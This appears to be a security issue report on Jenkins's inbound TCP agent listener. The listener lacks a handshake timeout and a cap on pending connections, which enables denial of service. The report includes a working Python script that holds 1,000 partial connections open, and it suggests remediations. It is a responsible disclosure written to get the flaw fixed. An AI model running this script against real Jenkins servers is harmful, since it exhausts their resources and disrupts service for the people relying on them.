#27443·jenkins

Missing timeout on inbound TCP agent handshakes can exhaust Jenkins resources

Author: bupt-Yy-youngCreated Sep 26, 2026Updated Sep 28, 2026

Missing timeout on inbound TCP agent handshakes can exhaust Jenkins resources

Summary

TcpSlaveAgentListener accepts TCP connections before any agent protocol authentication is completed. Each accepted socket immediately creates a platform ConnectionHandler thread, and the handler waits for the first 10 bytes with DataInputStream.readFully(...). The accepted socket is not given a read deadline and there is no bound on the number of pending unauthenticated handlers.

An unauthenticated client that opens connections and sends fewer than 10 bytes can therefore keep one socket, one file descriptor, and one Jenkins thread allocated for each connection until the client disconnects or an external network timeout occurs. On a listener reachable from an untrusted network, this provides a practical availability/resource-exhaustion vector.

This is not an authentication bypass or remote-code-execution issue. The impact is denial of service/resource exhaustion (for example, thread or file-descriptor exhaustion).

Affected code

In core/src/main/java/hudson/TcpSlaveAgentListener.java:

java
Socket s = serverSocket.accept().socket();
...
new ConnectionHandler(s).start();

and in ConnectionHandler.run():

java
byte[] head = new byte[10];
in.readFully(head);

The only setSoTimeout call in the class is used for the shutdown self-wakeup client; it is not applied to accepted agent sockets. setKeepAlive(true) is not an application-level handshake deadline and may use multi-hour operating-system defaults.

The runtime behavior below was observed on Jenkins weekly 2.583. The current Jenkins LTS release 2.568.3 contains the same TcpSlaveAgentListener.java implementation, and the behavior was also present in the older release tags reviewed.

Preconditions

  • The Jenkins inbound TCP agent listener is enabled.
  • The listener port is reachable by the client.
  • No agent authentication is required for the connection to reach the blocking pre-handshake read.

The risk is substantially lower when the agent port is restricted to a trusted network, but the listener itself does not enforce this boundary.

Reproduction

Run the following from a host that can reach the inbound agent port. The script intentionally keeps the connections open without sending a complete protocol header:

bash
JENKINS_AGENT_HOST=jenkins.example.invalid \
JENKINS_AGENT_PORT=50000 \
COUNT=1000 \
python3 - <<'PY'
import os
import socket
import time

host = os.environ["JENKINS_AGENT_HOST"]
port = int(os.environ["JENKINS_AGENT_PORT"])
count = int(os.environ.get("COUNT", "1000"))

sockets = []
for i in range(count):
    s = socket.create_connection((host, port), timeout=5)
    # Do not send the 10-byte protocol/HTTP prefix.
    sockets.append(s)
    if (i + 1) % 100 == 0:
        print(f"opened {i + 1} connections", flush=True)

print("connections held; press Ctrl-C to close them")
try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    pass
finally:
    for s in sockets:
        s.close()
PY

While the script is holding the sockets, inspect the Jenkins JVM using its normal operational tooling (for example, a thread dump and file-descriptor count). The number of TCP agent connection handler threads and open sockets increases approximately one-for-one with the held connections. In a 1,000-connection test, approximately 1,000 additional handler threads and file descriptors remained allocated until the clients disconnected. Closing the clients released the resources.

Expected behavior

Incomplete or unauthenticated handshakes should be closed after a bounded period, and the listener should apply a bounded policy to pending pre-authentication connections. A client that never sends a complete header should not retain an unbounded Jenkins thread and socket.

Suggested remediation

  1. Set a configurable handshake/read deadline on every accepted agent socket before reading the initial prefix.
  2. Enforce a bounded number of pending pre-authentication connections, rejecting excess connections instead of creating unlimited platform threads.
  3. Ensure timeout and rejection paths close the socket and terminate the handler deterministically.
  4. Add a regression test that opens partial handshakes and verifies timeout, cleanup, and the connection cap.
  5. Consider applying an equivalent bounded read policy to the HTTP diagnostic path, which currently waits for client EOF after sending its response.

Related work

This appears distinct from the existing Jenkins fixes for shutdown wake-up timeouts (JENKINS-38473) and listener restart/error handling (JENKINS-70334): those changes do not add a deadline or cap for an accepted socket blocked in the initial handshake read.